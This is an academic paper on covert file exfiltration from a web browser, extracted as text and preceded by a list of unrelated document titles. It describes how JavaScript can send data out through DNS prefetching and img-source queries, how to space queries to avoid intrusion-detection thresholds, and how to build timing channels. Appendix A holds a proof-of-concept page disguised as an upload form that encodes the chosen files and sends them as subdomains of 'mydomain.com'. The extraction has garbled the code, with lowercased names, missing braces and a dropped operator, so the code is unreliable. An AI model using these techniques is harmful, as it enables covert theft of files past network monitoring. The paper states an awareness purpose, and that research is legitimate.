Browser-Based Covert Data Exfiltration



Similar documents
Detecting DNS Tunnels Using Character Frequency Analysis

Web. Services. Web Technologies. Today. Web. Technologies. Internet WWW. Protocols TCP/IP HTTP. Apache. Next Time. Lecture # Apache.

Project 4: IP over DNS Due: 11:59 PM, Dec 14, 2015

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Data Exfiltration and DNS

INTRUSION DECEPTION CZYLI BAW SIĘ W CIUCIUBABKĘ Z NAMI

Uploaded images filter evasion for carrying out XSS attacks

EE 7376: Introduction to Computer Networks. Homework #3: Network Security, , Web, DNS, and Network Management. Maximum Points: 60

DEERFIELD.COM. DNS2Go Update API. DNS2Go Update API

Project 2: Web Security Pitfalls

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

DNS Pinning and Web Proxies

Bypassing firewalls Another hole in the wall ;-) Présentation pour «La nuit du hack» le 13 Juin 2009

Reverse Shells Enable Attackers To Operate From Your Network. Richard Hammer August 2006

Application-layer protocols

Covert Channels. Some instances of use: Hotels that block specific ports Countries that block some access

Web Application Security

1 hours, 30 minutes, 38 seconds Heavy scan. All scanned network resources. Copyright 2001, FTP access obtained

Further web design: HTML forms

Phishing by data URI

Cross Site Scripting Prevention

Configuring iplanet 6.0 Web Server For SSL and non-ssl Redirect

How To Understand A Network Attack

c. Write a JavaScript statement to print out as an alert box the value of the third Radio button (whether or not selected) in the second form.

Guide to DDoS Attacks December 2014 Authored by: Lee Myers, SOC Analyst

Chapter 11 Phase 5: Covering Tracks and Hiding

What is Web Security? Motivation

Novell Identity Manager

Enabling WISPr (Hotspot Services) in the ZoneDirector

Check list for web developers

Session Hijacking Exploiting TCP, UDP and HTTP Sessions

DEPLOYMENT GUIDE Version 1.1. Deploying the BIG-IP LTM v10 with Citrix Presentation Server 4.5

Hushmail Express Password Encryption in Hushmail. Brian Smith Hush Communications

SY system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.

Comparison of Firewall, Intrusion Prevention and Antivirus Technologies

SECURE APPLICATION DEVELOPMENT CODING POLICY OCIO TABLE OF CONTENTS

Cyber Security Workshop Ethical Web Hacking

How to Configure Captive Portal

CSCI110: Examination information.

Network-Enabled Devices, AOS v.5.x.x. Content and Purpose of This Guide...1 User Management...2 Types of user accounts2

Pwning Intranets with HTML5

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Chapter 8 Router and Network Management

Alteon Global Server Load Balancing

HTTPS Inspection with Cisco CWS

THE SMARTEST WAY TO PROTECT WEBSITES AND WEB APPS FROM ATTACKS

CTF Web Security Training. Engin Kirda

DNS REBINDING DENIS BARANOV, POSITIVE TECHNOLOGIES

The following multiple-choice post-course assessment will evaluate your knowledge of the skills and concepts taught in Internet Business Associate.

The SSL device also supports the 64-bit Internet Explorer with new ActiveX loaders for Assessment, Abolishment, and the Access Client.

Glossary of Technical Terms Related to IPv6

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Where every interaction matters.

Barracuda Intrusion Detection and Prevention System

DDOS WALL: AN INTERNET SERVICE PROVIDER PROTECTOR

TCP/IP Networking, Part 2: Web-Based Control

Single Pass Load Balancing with Session Persistence in IPv6 Network. C. J. (Charlie) Liu Network Operations Charter Communications

DoS/DDoS Attacks and Protection on VoIP/UC

REAL-TIME WEB APPLICATION PROTECTION. AWF SERIES DATASHEET WEB APPLICATION FIREWALL

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Computer Networks 1 (Mạng Máy Tính 1) Lectured by: Dr. Phạm Trần Vũ MEng. Nguyễn CaoĐạt

Customer Tips. Xerox Network Scanning HTTP/HTTPS Configuration using Microsoft IIS. for the user. Purpose. Background

Client-side Web Engineering From HTML to AJAX

Intell-a-Keeper Reporting System Technical Programming Guide. Tracking your Bookings without going Nuts!

M3-R3: INTERNET AND WEB DESIGN

Attack and Defense Techniques

OWASP Application Security Building and Breaking Applications

Application Firewall Configuration Examples

Deploying F5 with Microsoft Active Directory Federation Services

Vulnerabilità dei protocolli SSL/TLS

Data leakage is a serious threat to many organizations. Can Content-Based Data Loss Prevention Solutions Prevent Data Leakage in Web Traffic?

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Gigabyte Content Management System Console User s Guide. Version: 0.1

IBM Protocol Analysis Module

Criteria for web application security check. Version

Installation and configuration guide

Web Foundations Series Internet Business Associate

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

BlackBerry Enterprise Service 10. Secure Work Space for ios and Android Version: Security Note

Architecture and Data Flow Overview. BlackBerry Enterprise Service Version: Quick Reference

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

JavaScript By: A. Mousavi & P. Broomhead SERG, School of Engineering Design, Brunel University, UK

Last update: February 23, 2004

The Weakest Link: Mitigating Web Application Vulnerabilities. webscurity White Paper. webscurity Inc. Minneapolis, Minnesota USA

CMPT 471 Networking II

Kids and the Internet - Parental Control made easy. Christian Donner

WatchGuard SSL v3.2 Update 1 Release Notes. Introduction. Windows 8 and 64-bit Internet Explorer Support. Supported Devices SSL 100 and 560

Fortigate SSL VPN 4 With PINsafe Installation Notes

[state of the internet] / SEO Attacks. Threat Advisory: Continuous Uptick in SEO Attacks


The Top Web Application Attacks: Are you vulnerable?

DDoS Protecion Total AnnihilationD. DDoS Mitigation Lab

Recent Advances in Web Application Security

Transcription:

Browser-Based Covert Data Exfiltration Kenton Born Kansas State University kborn@ksu.edu Abstract Current best practices heavily control user permissions on network systems. This effectively mitigates many insider threats regarding the collection and exfiltration of data. Many methods of covert communication involve crafting custom packets, typically requiring both the necessary software and elevated privileges on the system. By exploiting the functionality of a browser, covert channels for data exfiltration may be created without additional software or user privileges. This paper explores novel methods of using a browser s JavaScript engine to exfiltrate documents over the Domain Name System (DNS) protocol without sending less covert Hypertext Transfer Protocol (HTTP) requests. Introduction Covert channels are often mitigated by monitoring network traffic and enforcing a policy of least privileges on company systems. Firewalls and network intrusion detection systems (NIDS) greatly reduce covert channel possibilities by detecting and preventing protocols that are against the network policy. However, most networks must allow HTTP, SMTP, and DNS communication between internal hosts and external servers. While HTTP and SMTP are heavily monitored, DNS is often only investigated when NIDS detect anomalous behavior. DNS and HTTP are transactional protocols that work hand-in-hand to provide the functionality necessary for internet browsing. Before resources can be requested through HTTP, the web server's domain must be resolved to an IP address by first sending a DNS query to the authoritative name server for that domain. A fully qualified domain name (FQDN) is formed through a series of labels that separate it into subdomains, each one controlled by the subdomain to its right. RFC 1035 specifies the allowable characters as a-z, 0-9, and dashes (Mockapetris 1987). Additionally, the RFC limits the labels to 63 octets or less, with the full domain being 255 octets or less. DNS tunnels are often built by embedding data in the lower level domains (LLDs) of queries to a name server. The name server can then decode the data in the LLD and reply to the host by embedding data or commands in the DNS response. Similarly, HTTP offers bi-directional tunneling possibilities through methods such as request parameters, custom headers, and cookies. Channels of this type are known as covert storage channels because there is a storage location written to and read from. Covert timing channels, on the other hand, involve transmitting information through time values corresponding to the same response (Cabuk et al. 2009). DNS and HTTP may be used for covert timing channels by altering the timing between requests, or at even lower layers in the protocol stack by altering the timing or ordering of individual packets (El-Atawy and Al-Shaer 2009). However, most of these methods presented require additional software and elevated privileges.

Related Work HTTP is the most commonly used method of bypassing restrictive network policies. GNU httptunnel is an example of a tunnel that allows protocols to be embedded inside HTTP requests and responses (httptunnel 2008). Hauser (Hauser 1998) explored covert shell exploitation by using HTTP request parameters to build a Reverse WWW Shell, providing command and control channels to the internal system. A privacy-based approach was analyzed in by Bauer (Bauer 2003) where an anonymous overlay network was developed using embedded cookies, redirects, and active content. An innovative method of bypassing website restrictions was explored using a tool known as Infranet (Feamster et al. 2002). Censored web pages were steganographically tunneled inside images and extracted at the client. Lack of monitoring has lead to DNS tunnels such as Iodine, Dns2tcp, and TCP-over-DNS growing in popularity (TCP-Over-DNS 2008; Dembour 2008; Iodine 2009). Covert storage channels from the client to the server are created by encoding data into the lower level domains of DNS, while responses are typically sent by storing data in TXT or NULL record types. Although many detection strategies have been developed, few tools are available for DNS tunnel detection. Multiple methods of creating and detecting storage timing channels was explored by Cabuk (Cabuk et al. 2004; Cabuk et al. 2009). One popular method involves encoding data in the interarrival time between packets, while another strategy uses an interval-based arrival time approach. While covert timing channels are the most difficult to detect, they offer little bandwidth when compared to covert storage channels. Data Exfiltration Over DNS DNS-based data exfiltration may be accomplished without additional software or user privileges by quickly implementing Javascript in a text editor that can be launched in the system s browser. This will leave only a small, overwriteable fingerprint on the file system. However, fine-grained control of DNS is not provided by the JavaScript API. An approach must be used that effectively separates DNS requests from HTTP requests, preventing the latter from ever being sent. Additionally, some form of bi-directional communication would be desired to provide robustness and reliability to the covert channel. Both of these objectives can be accomplished using many different features of modern browsers. To exfiltrate documents over DNS using JavaScript, the file must first be read from the local system and turned into a binary string, optionally compressing or encrypting it in the process. The data must then be encoded using the allowable DNS characters specified in RFC 1035 (Mockapetris 1987). This can be accomplished using a modified version of base32 or base64 encoding. The final data representation may then be broken into segments that can be exfiltrated in separate DNS queries. An example framework for accomplishing these steps using Firefox is provided in Appendix A. DNS Prefetching In order to build a covert DNS channel without sending HTTP requests, the two protocols must be separated using client-side JavaScript. While the language does not offer this type of fine-grained access to the protocols, several tricks may be used to generate the desired functionality.

The simplest method of creating custom DNS queries is through the DNS prefetching functionality that is now implemented in most browsers by default. Prefetching allows websites to pre-resolve IP addresses for domains that the user will likely visit while browsing the website. This increases the responsiveness of future resources, allowing HTTP requests to immediately be sent to the prefetched domains. Below, an example is provided that can be added to the "head" section of an HTML document to prefetch an IP address for a domain: <link rel="dns-prefetch" href="http://www.thisdomainisprefetched.com"> While this method is simple and effective, there are flaws in using this approach for data exfiltration. Dynamically generating and adding prefetch links to the head section of a document real-time does not work in some browsers. A new HTML document must be created and opened after generating the necessary link elements. This adds unnecessary steps to data exfiltration. A more effective method may be implemented by taking advantage of the DNS prefetching of anchor elements. When an anchor element is added to the body of an HTML document, a DNS query will be sent to resolve the IP address of the domain in the "href" attribute. This may be exploited by dynamically creating anchor elements with JavaScript, replacing the LLD a controlled (or monitored) domain with the data that should be exfiltrated to the DNS server. To prevent NIDS from triggering on a threshold limit (for instance, warning about a denial-ofservice attack), the JavaScript should add a delay between requests. While JavaScript does not have a "sleep" functionality to appropriately space out the DNS requests, it can created in two ways. Firstly, one can create a "sleep" function using the "Date" object and a while loop. However, this requires unecessary resources in a spin lock. Alternatively, the "settimeout" function can be used, recursively calling itself as if in a loop. Below, example code is provided that demonstrates this approach: var body = document.getelementsbytagname('body')[0]; function generatequeries() { if(!islastquery()) settimeout(generatequeries, 1000); var anchor = document.createelement('a'); anchor.href = generatenextlld() + '.' + domain + '/' + resource; body.appendchild(anchor); generatequeries(); Separating DNS from HTTP Because DNS prefetching can be disabled, alternative methods may be necessary to exfiltrate data. Using custom JavaScript, it is possible to separate DNS queries from HTTP requests without exploiting prefetching. When the 'src' attribute of a dynamically created object is set (for instance, on a new "img" object), it will first create a DNS query to obtain the IP address for the provided domain. This is followed by an HTTP request for the resource at that domain. The script will not continue to execute until a response to the DNS query is received. There are two strategies that can be used to separate the HTTP request from the DNS query. Firstly, the name server can be instructed to return an "NXDomain" response for each request (decoding the LLD in the process). When this response is returned to the script, the code will

continue to execute without sending an HTTP request. However, this method will generate a heavy amount of "NXDomain" replies, which may alert cybersecurity if packets are sent too frequently. Also, some combinations of browsers and settings will attempt to resolve these domains several times by retrying with IPv6 and prepending "www" to the domain name. However, some of these settings may be altered through the browser without additional privileges (for example, by typing "about:config" in the Firefox URL bar). Note that the "NXDomain" behavior mimics the behavior of a legimate name server, making it unnecessary to own the domain if the traffic to legimate sites is observable. Alternatively, a more covert method involves sending requests to a controlled domain that does not reply to the DNS requests (a black hole). This may force the NIDS to drop the connection after a timeout, failing to report it as an "NXDomain" response. However, this strategy has the problem of halting the JavaScript code while waiting for the DNS response. This can be mitigated by using JavaScript's "settimeout(function,millis)" method once again to recursively call a query generation method as follows: function generatequeries() { if(!islastquery()) settimeout(generatenextquery,1000); var img = document.createelement('img'); img.src = generatenextlld() + '.' + domain + '/' + resource; When the src attribute is set, the JavaScript will halt while waiting for a reply. However, the timeout will re-invoke the function without the previous instance ever completing. This will, in turn, generate the next packet and allow progress continue as if it was in a packet generation loop. However, it must be noted that some setups will prevent too many outstanding DNS requests (most commonly set at eight), which will mitigate the bandwidth of the tunnel. Many browsers will also repeat these queries before progress continues. Bi-directional Storage and Timing Channels Instead of using a constant delay between DNS queries (as seen in the examples above), data may also be encoded in the inter-arrival time between queries. This can be done by replacing the timeout time with a function that computes the desired time between sent packets. Alternatively, the constant timeout time can be used and followed with a conditional test that determines whether or not a packet should be sent for that interval. While Cabuk (Cabuk et al. 2004; Cabuk et al. 2009) shows that these two basic methods can be detected using statistical methods, much more complex timing channels can be built off these building blocks that simulate typical traffic patterns and delays. Similar to clients, the name servers may use covert timing channels to communicate with the client by altering the time between responses. This can analyzed client-side by checing the 'Date' object before the query is sent and again after the DNS response is returned. The Date object provides clock accuracy to the nearest millisecond. This bi-directional channel may be used for sending commands back to the client or for adding reliability feedback from the server. However, tools such as Traffic Controller (Wang 2009) can be used to mitigate covert timing channels by altering the timing of delivered packets at a position between the client and server. Unless delay was added that exceeds the threshold of the tool, a covert timing channel would be defeated. However, tools such as Traffic Controller are restricted from adding significant delays to traffic due to decreased browsing speeds for legitimate users.

The server can alternatively create a storage covert channel through clever use of DNS responses. When the generatequeries function is called, it can check whether or not the previous response was received or not by altering an array of booleans after the src attribute is set. This provides the server a 1-bit per response channel to communicate with the client by alternating between NXDomain responses and not sending a response. A simplified version of accomplishing this is presented below: function generatequeries(seq) { if(!islastquery()) settimeout(generatequeries, generatenexttimeout(), (seq+1)); var img = document.createelement('img'); img.src = generatenextlld() + '.' + domain + '/' + resource; receivedqueries[seq] = true; //only called when NXDomain is returned! It should be noted that maintaining an array after the 'src' attribute is set may also be used for adding reliability to NXDomain channels. Before the next packet is generated, a simple check can be performed whether or not a response was received for previous requests. If a response was not received and the previous iteration timed out, the query can be resent. Note that when the browser is restricted to a certain number of outstanding requests (commonly eight), this will restrict the bandwidth of a black-hole tunnel. Conclusions and Future Work This work presents several novel methods of covertly exfiltrating data without elevated privileges on a system. It is important to note that this research is done in the attitude of raising awareness as opposed to benefiting individuals with malicious intent. This work is presented in hopes that the methods proposed may be mitigated through increased monitoring and awareness. It has been shown above that covert DNS channels created through client-side JavaScript are a threat to network security. This problem is not easily addressed through privilege management. Instead, it must be mitigated through increased monitoring and awareness of the threat. Firstly, multiple methods were shown that separate DNS queries from HTTP requests. These varied in implementation and level of covertness. It was also shown how they could be combined to provide a bi-directional covert channel between the client and server. Secondly, it was shown how these methods could be altered to build covert timing channels through DNS queries and responses, also allowing bi-directional communication between the client and server. Appendex A shows a proof-of-concept client framework for implementing many of these ideas. Future work will explore how these techniques can be combined with popular website traffic to provide an extra layer of covertness and additional bandwidth. A strategy for mitigating and monitoring this threat will also be developed by analyzing best practices for DNS tunnel detection against common data exfiltration scenarios.

Appendix A Client Framework <html> <head> <script> var domain = "mydomain.com"; var LLD_size = 50; var body = document.getelementsbytagname('body')[0]; function sendqueries(argsarray) { var queries = argsarray[0]; var query_num = argsarray[1]; if( (query_num+1) < queries.length) settimeout(sendqueries, getnextdelay(), [queries, query_num+1]); if(query_num < queries.length) { var anchor = document.createelement('a'); var before_date = new Date(); anchor.href = queries[query_num]; var after_date = new Date(); interpretdelay(after_date before_date); body.appendchild(anchor); function exfiltratefiles(files) { for(var i=0; i < files.length; i++) { var binstring = files[i].getasbinary(); var dnsstring = base64(encrypt(compress(binstring))); var numpackets = Math.ceil(dnsString.length/LLD_size); var queries = new Array(); var beginindex; var endindex; for(var i=0; i < numpackets; i++) { beginindex = i * LLD_size; endindex = beginindex + LLD_size; if(endindex < dnsstring.length) endindex = data.length; var nextlld = addsequencing(data.substring(beginindex, endindex)); queries[i] = nextlld + '.' + domain + '/' + generatefakeresource(); var argsarray = [queries, 1]; sendqueries(argsarray); </script> </head> <body> <center> <p>please choose a document to upload </p> <form id="file_form" method=post enctyp="multiparty/form-data"> <input type=file id="input" multiple="true /> <input type=button name="submit" value="submit" onclick="exfiltratefiles(document.getelementbyid('input').files)" /> </form> </body> </html>

Works Cited Bauer, M. (2003), New covert channels in HTTP: Adding unwitting web browsers to anonymity sets, In Proceedings of the ACM Workshop on Privacy in the Electronic Society (WPES'03), 72-28. Cabuk, S., Brodley, C. E., and Shields, C. (2009), IP covert channel detection, ACM Trans. Inf. Syst. Secur., 12 (4): 1 29. Cabuk, S., Brodley, C. E., and Shields, C. (2004), IP covert timing channels: design and detection, In Proceedings of the 11th ACM Conference on Computer and Communications Security, Oct 25-29. Washington DC, USA. CCS '04. ACM, 178-187. New York, NY. Dembour, O. (2008), 'Dns2tcp', http://www.hsc.fr/ressources/outils/dns2tcp/index.html.en. Nov 2008. El-Atawy, A. And Al-Shaer, E. (2009), "Building Covert Channels over the Packet Reordering Phenomenon," The 28 th Conference on Computer Communications, IEEE (INFOCOM' 2009), Apr 19-25, 2009, 2186-2194. Feamster, N., Balazinska, M., Harfst, G., Balakrishnan, H., and Karger, D. (2002), 'Infranet: Circumventing Censorship and Surveillance'. In Proceedings of the 11th USENIX Security Symposium Aug 5-9, 2002. San Francisco, CA. Hauser, V. (1998), 'Placing backdoors through firewalls', http://freeworld.thc.org/papers/fwbackd.htm, 27 April 1998. 'httptunnel', http://www.nocrew.org/software/httptunnel.html, June 2008 'Iodine', http://code.kryo.se/iodine/. June 2009 Mockapetris, P. (1987), 'RFC1035 - Domain names - implementation and specification', http://www.faqs.org/rfcs/rfc1035.html, November 1987. 'TCP-over-DNS tunnel software HOWTO', http://analogbit.com/tcp-over-dns_howto. July 2008. Wang, Yi et al. (2009), "Traffic Controller: A Practical Approach to Block Network Covert Timing Channel. Availability," Reliability and Security, 2009 (ARES '09), Mar. 16-18, 349-354.